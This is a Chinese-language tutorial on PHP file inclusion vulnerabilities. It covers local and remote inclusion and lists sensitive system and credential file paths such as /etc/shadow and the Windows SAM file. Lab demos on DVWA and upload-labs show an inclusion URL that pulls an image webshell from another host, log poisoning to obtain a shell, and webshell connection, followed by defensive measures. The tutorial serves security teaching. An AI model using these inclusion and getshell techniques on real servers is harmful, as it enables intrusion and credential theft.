目錄
漏洞簡介
漏洞原理
漏洞分類
漏洞防御
漏洞簡介
-
程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這種文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
漏洞原理
-
在通過PHP的函數引入文件時,由于傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,導致意外的文件泄露甚至惡意的代碼注入。
漏洞分類
-
本地文件包含
-
只能包含本地服務器上存在的文件。
-
用戶對輸入可控且無過濾
-
可以利用相對路徑或絕對路徑讀取系統敏感文件
-
-
-
遠程文件包含
-
包含遠程服務器上的文件。
需要php.ini開啟了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服務器(比如:攻擊者自己搭建的一個Web服務器)的文件。
-
allow_url_fopen=On (默認為On) 規定是否允許從遠程服務器或者網站檢索數據
-
allow_url_include=On (php5.2之后默認為Off) 規定是否允許include/require遠程文件
-
-
區別:
-
本地文件包含就是通過瀏覽器包含web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾,允許遍歷目錄的字符注入瀏覽器并執行
-
遠程文件包含就是允許攻擊者包含一個遠程的文件,一般是在遠程服務器上預先設置好的腳本并對外開放一個web服務,以確保該腳本能被訪問到。此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息泄露、拒絕服務攻擊,甚至在目標服務器上執行代碼。
-
本地文件包含與遠程文件有著相同的原理,但前者只能包含服務器上存在的文件,而后者可以包含遠程服務器上的文件。
-
-
文件包含函數:
require() include() require_once() include_once() include和require區別主要是,include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會直接報錯并退出程序的執行。 而include_once(),require_once()這兩個函數,與前兩個的不同之處在于這兩個函數只包含一次。適用于在腳本執行期間同一個文件有可能被包括超過一次的情況下,想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。
-
可能出現文件包含的點:url中出現:?page=xxx file=xxx ?home=xxx,并且后面的參數值是一個路徑或者文件,可以配合文件上傳進行驗證
-
常見的敏感信息路徑:
-
windows: c:\boot.ini // 查看系統版本 c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件 c:\windows\repair\sam //存儲windows系統初次安裝的密碼 c:\programFiles\mysql\my.ini //MYSQL root密碼 c:\windows\php.ini // php 配置信息
-
linux: /etc/passwd // 賬戶信息 ? /etc/shadow // 賬戶密碼文件 ? /usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置 ? /usr/local/app/php5/lib/php.ini // PHP相關配置 ? /etc/httpd/conf/httpd.conf // Apache配置文件 ? /etc/my.conf // mysql 配置文件
-
-
遠程文件包含演示:這里使用的是dvwa和upload-labs結合,讓upload-labs文件包含漏洞模塊成功包含dvwa文件上傳的圖片馬.(此處注意包含的遠程文件不能為php文件,否則不是在upload-labs機器上執行,而是在原文件所在服務器上執行--源文件服務器可以解析PHP文件的情況下.)
-
首先在dvwa中上傳圖片馬:
-
使用upload-labs中的文件包含:
http://127.0.0.1/upload_labs/include.php?file=http://192.168.111.144/hackable/uploads/fish.png
發現成功包含:使用蟻劍連接成功:
-
-
通過文件包含getshell:
-
中間件日志包含:
-
和之前文件包含類似,這里我們需要知道日志的地址,同時讓php代碼加載到日志中,并且讓文件包含文件能夠包含得到日志文件,這樣就可以getshell
-
這里的實例仍然使用dvwa:首先賦予權限,確保web服務器可以訪問的到日志文件:
chmod 755 /var/log/apache2
chmod 644 access.log
然后使用dvwa訪問一段php代碼,這里使用phpinfo做演示,注意,url中直接發送會使得特殊符號編碼,于是抓包修改,這里我們可以在日志文件中發現我們寫入的php代碼: -
在通過文件包含就可以執行,
http://192.168.111.144/vulnerabilities/fi/?page=/var/log/apache2/access.log
后續只需將phpinfo改為一句話木馬即可getshell
-
-
配合文件上傳getshell:在upload-labs中已經進行演示,主要是利用文件上傳圖片馬,然后通過文件包含使得文件被當做php文件解析,最后蟻劍連接
-
-
漏洞防御
-
-
設置白名單(文件名可以確定)
-
過濾危險字符(判斷文件名稱是否為合法的php文件)
-
設置文件目錄權限(對可以包含的文件進行限制,可以使用白名單的方式,或者設置可以包含的目錄)
-
關閉危險配置(無需情況下設置allow_url_include和allow_url_fopen為關閉)
-
嚴格檢查include類的文件包含函數中的參數是否外界可控
-